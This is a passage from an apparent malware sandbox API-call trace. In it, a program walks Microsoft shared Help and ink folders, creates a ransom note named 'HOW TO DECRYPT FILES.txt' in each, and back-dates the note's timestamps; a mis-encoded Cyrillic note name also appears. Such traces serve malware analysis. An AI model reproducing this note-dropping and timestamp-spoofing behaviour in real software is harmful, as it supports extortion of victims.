lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\" [0076.281] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\") returned="" [0076.281] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\HOW TO DECRYPT FILES.txt" [0076.281] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052\\how to decrypt files.txt")) returned 0xffffffff [0076.281] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\2052\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.282] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.282] CloseHandle (hObject=0x90) returned 1 [0076.283] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\2052\\hxdsui.dll" [0076.283] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00e4400, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00e4400, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x3140, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.283] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.284] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="3082", cAlternateFileName="")) returned 1 [0076.284] lstrcmpA (lpString1=".", lpString2="3082") returned -1 [0076.284] lstrcmpA (lpString1="..", lpString2="3082") returned -1 [0076.284] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.284] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="3082" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082" [0076.284] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.284] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.284] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.284] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.284] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.284] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.284] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.284] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.284] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.285] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.285] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\*.*") returned="*.*" [0076.285] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\" [0076.285] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\") returned="" [0076.285] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\HOW TO DECRYPT FILES.txt" [0076.285] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082\\how to decrypt files.txt")) returned 0xffffffff [0076.285] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\3082\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.287] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.287] CloseHandle (hObject=0x90) returned 1 [0076.287] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\3082\\hxdsui.dll" [0076.287] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf63fa00, ftCreationTime.dwHighDateTime=0x1c9db19, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaf63fa00, ftLastWriteTime.dwHighDateTime=0x1c9db19, nFileSizeHigh=0x0, nFileSizeLow=0x4d40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.287] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.288] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x323, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Hx.HxC", cAlternateFileName="")) returned 1 [0076.288] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.288] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hx.HxC") returned -1 [0076.288] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hx.HxC") returned -1 [0076.288] lstrcmpiA (lpString1="", lpString2="Hx.HxC") returned -1 [0076.288] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.288] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" [0076.288] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="" [0076.288] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" [0076.288] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0xffffffff [0076.288] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.290] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.290] CloseHandle (hObject=0x8c) returned 1 [0076.292] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="Hx.HxC" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxC") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxC" [0076.292] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60ce1c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.HxT", cAlternateFileName="")) returned 1 [0076.292] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.292] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hx.HxT") returned -1 [0076.292] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hx.HxT") returned -1 [0076.292] lstrcmpiA (lpString1="", lpString2="Hx.HxT") returned -1 [0076.292] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxC") returned="Hx.HxC" [0076.292] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" [0076.292] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="" [0076.292] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" [0076.292] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0076.292] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="Hx.HxT" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxT") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxT" [0076.292] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x6cee, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxRuntime.HxS", cAlternateFileName="HXRUNT~1.HXS")) returned 1 [0076.292] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.292] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HxRuntime.HxS") returned -1 [0076.293] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HxRuntime.HxS") returned -1 [0076.293] lstrcmpiA (lpString1="", lpString2="HxRuntime.HxS") returned -1 [0076.293] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Hx.HxT") returned="Hx.HxT" [0076.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" [0076.293] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="" [0076.293] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" [0076.293] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0076.293] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HxRuntime.HxS" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HxRuntime.HxS") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HxRuntime.HxS" [0076.293] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keywords.HxK", cAlternateFileName="")) returned 1 [0076.293] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.293] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Keywords.HxK") returned -1 [0076.293] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Keywords.HxK") returned -1 [0076.293] lstrcmpiA (lpString1="", lpString2="Keywords.HxK") returned -1 [0076.293] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HxRuntime.HxS") returned="HxRuntime.HxS" [0076.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" [0076.293] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="" [0076.293] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" [0076.293] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0076.293] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="Keywords.HxK" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Keywords.HxK") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Keywords.HxK" [0076.294] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="NAMEDU~1.HXK")) returned 1 [0076.294] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.294] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NamedURLs.HxK") returned -1 [0076.294] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NamedURLs.HxK") returned -1 [0076.294] lstrcmpiA (lpString1="", lpString2="NamedURLs.HxK") returned -1 [0076.294] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\Keywords.HxK") returned="Keywords.HxK" [0076.294] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" [0076.294] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\") returned="" [0076.294] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" [0076.294] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\how to decrypt files.txt")) returned 0x20 [0076.294] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="NamedURLs.HxK" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\NamedURLs.HxK") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\NamedURLs.HxK" [0076.294] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93aa2500, ftCreationTime.dwHighDateTime=0x1c9db14, ftLastAccessTime.dwLowDateTime=0x52706fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93aa2500, ftLastWriteTime.dwHighDateTime=0x1c9db14, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NamedURLs.HxK", cAlternateFileName="NAMEDU~1.HXK")) returned 0 [0076.294] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.295] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ink", cAlternateFileName="")) returned 1 [0076.295] lstrcmpA (lpString1=".", lpString2="ink") returned -1 [0076.295] lstrcmpA (lpString1="..", lpString2="ink") returned -1 [0076.295] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.295] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0076.295] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.298] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.298] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.298] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.298] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.298] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0076.298] lstrcmpA (lpString1=".", lpString2="1.0") returned -1 [0076.298] lstrcmpA (lpString1="..", lpString2="1.0") returned -1 [0076.298] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*.*") returned="*.*" [0076.298] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="1.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" [0076.298] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.299] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, 